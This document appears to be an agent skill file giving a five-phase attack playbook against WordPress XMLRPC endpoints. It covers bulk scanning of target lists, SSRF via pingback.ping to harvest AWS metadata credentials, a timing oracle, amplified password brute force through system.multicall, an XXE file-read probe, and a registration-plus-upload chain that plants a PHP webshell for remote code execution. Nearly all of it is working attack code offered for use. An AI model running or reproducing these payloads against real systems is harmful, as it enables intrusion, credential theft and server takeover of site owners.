xmlrpc-exploitation

XMLRPC Exploitation Skill

5-phase exploitation pipeline for WordPress XMLRPC endpoints. Covers bulk detection, method enumeration, SSRF via pingback.ping, amplified brute force via system.multicall (1000x amplification), and RCE via wp.uploadFile when open registration is present. XMLRPC is open on ~52% of WordPress targets found via wp-mass-recon.

When to Use

• wp-mass-recon detected XMLRPC returning HTTP 200 on POST.
• Target has WordPress with open registration (chain: upload → webshell → RCE).
• Need a brute-force amplification vector for WordPress credentials.
• Probing for internal SSRF via pingback.ping to cloud metadata endpoints.

Prerequisites

• terminal with curl.
• Target has confirmed XMLRPC endpoint (/xmlrpc.php returns 200 on POST with demo.sayHello).
• For RCE chain: target must have open registration or another file upload path.
• For SSRF chain: need a Collaborator/Burp Collaborator endpoint or internal target IPs.

How to Run

# Phase 1: Bulk detection on target list
while read -r domain; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 10 --connect-timeout 10 -X POST "https://$domain/xmlrpc.php" \
    -d '<?xml version="1.0"?><methodCall><methodName>demo.sayHello</methodName></methodCall>')
  [[ "$code" == "200" ]] && echo "OPEN: $domain"
  sleep 0.3
done < targets.txt

# Phase 2: Deep method enumeration
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://TARGET/xmlrpc.php" \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>'

Quick Reference

Method	Capability	Severity
demo.sayHello	Confirms XMLRPC is alive	Info
system.listMethods	Enumerate all available methods	Info
system.multicall	Execute multiple methods in ONE request	Critical — 1000x brute force amplification
pingback.ping	SSRF — server makes outbound HTTP request	High — probe internal network, IMDS
wp.getUsers	Enumerate WordPress users	Medium
wp.getPosts	List published posts	Low
wp.uploadFile	Upload file to media library	Critical — webshell when combined with open reg
wp.getOptions	Read WordPress options (siteurl, admin_email)	Medium
wp.getPostStatusList	Get post statuses	Low

Procedure

Phase 1 — Bulk Detection

#!/bin/bash
# Input: domains.txt (one domain per line)
# Output: xmlrpc_open.txt

echo "domain,code,hello" > xmlrpc_open.csv

while read -r domain; do
  resp=$(curl -sk --max-time 10 --connect-timeout 10 -X POST "https://$domain/xmlrpc.php" \
    -H "Content-Type: text/xml" \
    -d '<?xml version="1.0"?><methodCall><methodName>demo.sayHello</methodName></methodCall>' 2>/dev/null)
  if echo "$resp" | grep -q "Hello"; then
    echo "$domain,200,yes" >> xmlrpc_open.csv
    echo "[OPEN] $domain"
  fi
done < targets.txt

Phase 2 — Method Enumeration

TARGET="$1"

curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
  -H "Content-Type: text/xml" \
  -H "Accept-Encoding: identity" \
  -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' \
  | python3 -c "
import sys, re
print('\n'.join(re.findall(r'<value><string>([^<]+)</string>', sys.stdin.read())))
" | sort

Key methods to look for: system.multicall, pingback.ping, wp.uploadFile, wp.getUsers, wp.getOptions.

Phase 3 — SSRF via pingback.ping

TARGET="$1"
CALLBACK="https://YOUR_COLLABORATOR.burpcollaborator.net"

curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
  -H "Content-Type: text/xml" \
  -d "<?xml version=\"1.0\"?>
<methodCall>
  <methodName>pingback.ping</methodName>
  <params>
    <param><value><string>$CALLBACK</string></value></param>
    <param><value><string>https://$TARGET/?p=1</string></value></param>
  </params>
</methodCall>"

If the callback receives a hit, the target is vulnerable to SSRF. Next, probe internal services (always include Accept-Encoding: identity to avoid LiteSpeed gzip):

# AWS IMDSv1
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?>
<methodCall>
  <methodName>pingback.ping</methodName>
  <params>
    <param><value><string>http://192.0.2.1/latest/meta-data/</string></value></param>
    <param><value><string>https://TARGET/?p=1</string></value></param>
  </params>
</methodCall>'

# IMDS role guessing — 14 confirmed role names (wave7_invade.py)
ROLES=("admin" "ec2" "s3" "lambda" "code-deploy" "SSM-Role"
       "EC2Role" "CodeDeploy" "cloudformation" "ecs" "s3-readonly"
       "webserver-role" "app-role" "default")

for role in "${ROLES[@]}"; do
  result=$(curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
    -H "Content-Type: text/xml" \
    -d "<?xml version=\"1.0\"?>
<methodCall>
  <methodName>pingback.ping</methodName>
  <params>
    <param><value><string>http://192.0.2.1/latest/meta-data/iam/security-credentials/$role</string></value></param>
    <param><value><string>https://TARGET/?p=1</string></value></param>
  </params>
</methodCall>" 2>/dev/null)

  fc=$(echo "$result" | python3 -c "
import sys, re
fc = re.search(r'faultCode[^0-9]*([0-9]+)', sys.stdin.read())
print(fc.group(1) if fc else 'no-fault')
")
  echo "  role=$role -> faultCode ${fc:-no-fault}"
  sleep 0.5
done

faultCode 0 on a pingback to an internal address confirms the request reached the target. faultCode 17 or 32 means blocked or unreachable.

Phase 3b — Blind SSRF Data Extraction via Timing Oracle

When pingback.ping returns faultCode 0 but you cannot see the response content (ordinary WordPress behaviour), use timing differences to extract data character-by-character or enumerate IAM roles.

How it works: The pingback SSRF fetches the URL and the IMDS returns data. The WordPress server discards the response body (not a valid blog post URL), but the TIME spent reading the response correlates with response SIZE.

IAM Role Enumeration:

import subprocess, time

TARGET = "target.com"

def ssrf_time(url):
    xml = f'''<?xml version="1.0"?>
<methodCall><methodName>pingback.ping</methodName>
<params><param><value><string>{url}</string></value></param>
<param><value><string>https://{TARGET}/author-sitemap.xml</string></value></param>
</params></methodCall>'''
    start = time.perf_counter()
    subprocess.run(["curl", "-sk", "-X", "POST",
        f"https://{TARGET}/xmlrpc.php",
        "-H", "Content-Type: text/xml", "-d", xml],
        capture_output=True, timeout=15)
    return time.perf_counter() - start

# Baseline — IMDS root response time
baseline = ssrf_time("http://192.0.2.1/latest/meta-data/")
print(f"[baseline] IMDS root: {baseline:.3f}s")

# Enumerate IAM roles — existing roles return JSON (slower)
roles = ["admin","ec2","s3","lambda","code-deploy","ecs",
         "SSM-Role","EC2Role","webserver-role","app-role"]
for role in roles:
    t = ssrf_time(f"http://192.0.2.1/latest/meta-data/iam/security-credentials/{role}")
    exists = "FOUND" if t > baseline * 1.15 else "404"
    print(f"  {role}: {t:.3f}s -> {exists}")

From field (retail.example.com, June 2026):

• IMDS /meta-data/: 344ms (large response — list of paths)
• IMDS /iam/security-credentials/: 435ms (very large — IAM role listing)
• IMDS /instance-id: 301ms (small — short string)

Pitfall: Network jitter can cause ±50ms variance. Run each test 3 times and use the median. If baseline variance exceeds 20%, this technique is unreliable.

Phase 4 — Amplified Brute Force (system.multicall)

system.multicall allows executing multiple XMLRPC methods in a single HTTP request. A single request can contain 100+ wp.getUsers calls with different credentials, giving 1000x amplification over sequential requests.

TARGET="$1"
USERNAME="admin"
WORDLIST="./tools/passwords.txt"

# Build multicall XML with 100 passwords per request
python3 -c "
import sys
passwords = open('$WORDLIST').read().splitlines()[:100]
xml = '<?xml version=\"1.0\"?><methodCall><methodName>system.multicall</methodName><params><param><value><array><data>'
for pw in passwords:
    xml += f'''<value><struct>
  <member><name>methodName</name><value><string>wp.getUsers</string></value></member>
  <member><name>params</name><value><array><data>
    <value><string>{pw}</string></value>
  </data></array></value></member>
</struct></value>'''
xml += '</data></array></value></param></params></methodCall>'
print(xml)
" > /tmp/multicall_payload.xml

curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
  -H "Content-Type: text/xml" \
  -d @/tmp/multicall_payload.xml

A successful auth in the response will show user data instead of faultCode 403.

Phase 5 — RCE via Open Registration + wp.uploadFile

If the target has open registration AND XMLRPC with wp.uploadFile:

TARGET="$1"

# Step 1: Register user
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/wp-login.php?action=register" \
  -d "user_login=attackusr&[email protected]&wp-submit=Register"

# Step 2: Verify role — WordPress 6.x registers as SUBSCRIBER by default
# Subscribers CANNOT upload files via wp.uploadFile or metaWeblog.newMediaObject
ROLE_CHECK=$(curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
  -H "Content-Type: text/xml" \
  -d "<?xml version=\"1.0\"?>
<methodCall><methodName>wp.getProfile</methodName>
<params><param><value><int>1</int></value></param>
<param><value><string>attackusr</string></value></param>
<param><value><string>password123</string></value></param></params></methodCall>")
if echo "$ROLE_CHECK" | grep -q "administrator\|editor\|author"; then
  echo "UPLOAD VIABLE: role is author+"
elif echo "$ROLE_CHECK" | grep -q "subscriber"; then
  echo "SUBSCRIBER - upload blocked. Need escalation first:"
  echo "  a) Brute force admin (system.multicall 1000 pwd/req)"
  echo "  b) ElementsKit CVE-2023-6853 (get nonce from profile.php)"
  echo "  c) Check if default role changed by plugin"
  exit 1
fi

# Step 3: Upload PHP webshell via XMLRPC
WEBSHELL_B64=$(echo '<?php system($_GET["cmd"]); ?>' | base64 | tr -d '%0A%0D')

curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
  -H "Content-Type: text/xml" \
  -d "<?xml version=\\\"1.0\\\"?>
<methodCall>
  <methodName>wp.uploadFile</methodName>
  <params>
    <param><value><string>1</string></value></param>
    <param><value><string>attackusr</string></value></param>
    <param><value><string>password123</string></value></param>
    <param><value><struct>
      <member><name>name</name><value><string>shell.php</string></value></member>
      <member><name>type</name><value><string>application/x-php</string></value></member>
      <member><name>bits</name><value><base64>$WEBSHELL_B64</base64></value></member>
    </struct></value></param>
  </params>
</methodCall>"

# Step 4: Access webshell
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/wp-content/uploads/$(date +%Y/%m)/shell.php?cmd=id"

Retesting Behavior

Test the original XML-RPC URL without following redirects, then inspect any redirect target separately. Redirect-following can replace a protocol response with an HTML page and create a false regression. A change in status code is not enough to classify the endpoint; require a protocol-valid response body or the expected controlled callback.

Pitfalls

• faultCode 0 on pingback ≠ SSRF confirmed. Some servers return faultCode 0 for all pingbacks. Verify with your own Collaborator callback first (the definitive test).
• faultCode parsing: Use re.search(r'faultCode[^0-9]*([0-9]+)', r.text) to reliably extract fault codes. faultCode 0 = accepted, faultCode 17 = URL not found, faultCode 32 = blocked/error.
• system.multicall may be restricted. Some hosts expose it in system.listMethods but return faultCode on actual use. Test with a single call before building multi-call payloads.
• Redirect-follow (-L) can hide XML-RPC POST responses. Capture the original response without -L; investigate redirects as separate endpoints.
• LiteSpeed HTTP 500 on multicall. LiteSpeed returns HTTP 500 for multicall payloads >50kb, even when the methods inside succeed. STILL CHECK THE BODY on HTTP 500 — look for isAdmin, blogid, or blogName strings. Use smaller batch sizes (50 passwords/request instead of 100).
• Alternate IP encodings change parser behavior. Test them only when the authorization explicitly includes SSRF filter-bypass validation.
• Large multicall batches amplify load. Start with one method call and increase only within the agreed request and authentication-testing limits.
• BusyBox grep lacks -P. Minimal environments may provide BusyBox grep, which does not support Perl-compatible regular expressions. Use grep -oE or Python for complex matching.
• All ports return faultCode 0 on pingback SSRF. WordPress pingback.ping returns faultCode 0 for all internal IPs regardless of whether the port is actually open. The response does NOT distinguish open vs closed ports. For port scanning, use timing-based detection: an open port with a listening service returns faster (under 1s) than a closed port (timeout). But even this is unreliable through CDN-cached XMLRPC handlers.
• system.multicall success markers. A successful auth in multicall response shows isAdmin, blogid, or blogName — not just absence of faultCode 403. Check for ALL three keywords.
• LiteSpeed gzip compression. LiteSpeed compresses XMLRPC responses with gzip even without Accept-Encoding. Add -H "Accept-Encoding: identity" to curl, or pipe through Python gunzip. Without this, grep finds no faultCodes in the compressed binary.
• Regex portability matters. When only BusyBox grep is available, use Python for expressions that require PCRE features.
• wp.uploadFile requires authentication. Without valid credentials or open registration, this is not exploitable. IMPORTANT: Even with valid credentials, WordPress 6.x registers new users as SUBSCRIBER — and subscribers cannot upload files via XMLRPC. Always verify role via wp.getProfile before attempting upload. If subscriber, escalate (brute force admin, plugin CVE, or app passwords).\n- Mailinator password reset flow. WordPress registration sends a reset LINK (not password). You must: (1) read Mailinator inbox to extract the key=... from the URL, (2) GET the reset page to get wp-resetpass-* cookie, (3) POST new password. The rp_key parameter from the email URL is required — the HTML form may not auto-fill it.
• XXE in XMLRPC: Older PHP/libxml2 versions parse XMLRPC with external entities enabled. Probe with <!ENTITY xxe SYSTEM "file:///etc/passwd"> as bonus vector.
• IMDSv2 blocks pingback: IMDSv2 requires X-aws-ec2-metadata-token header (PUT to /latest/api/token). Pingback SSRF can only set the URL target, not headers. IMDSv1 is the attack surface.

Verification

• demo.sayHello MUST return Hello! in the response body to confirm XMLRPC is functional.
• pingback.ping SSRF MUST produce a callback on YOUR controlled server (not just faultCode 0).
• system.multicall MUST return distinct responses for each embedded method call.
• RCE chain MUST produce id or whoami output from the uploaded webshell.
• IMDS role guessing: faultCode 0 on a role path without a Collaborator callback = UNCONFIRMED — treat as "SSRF possible but needs OOB verification."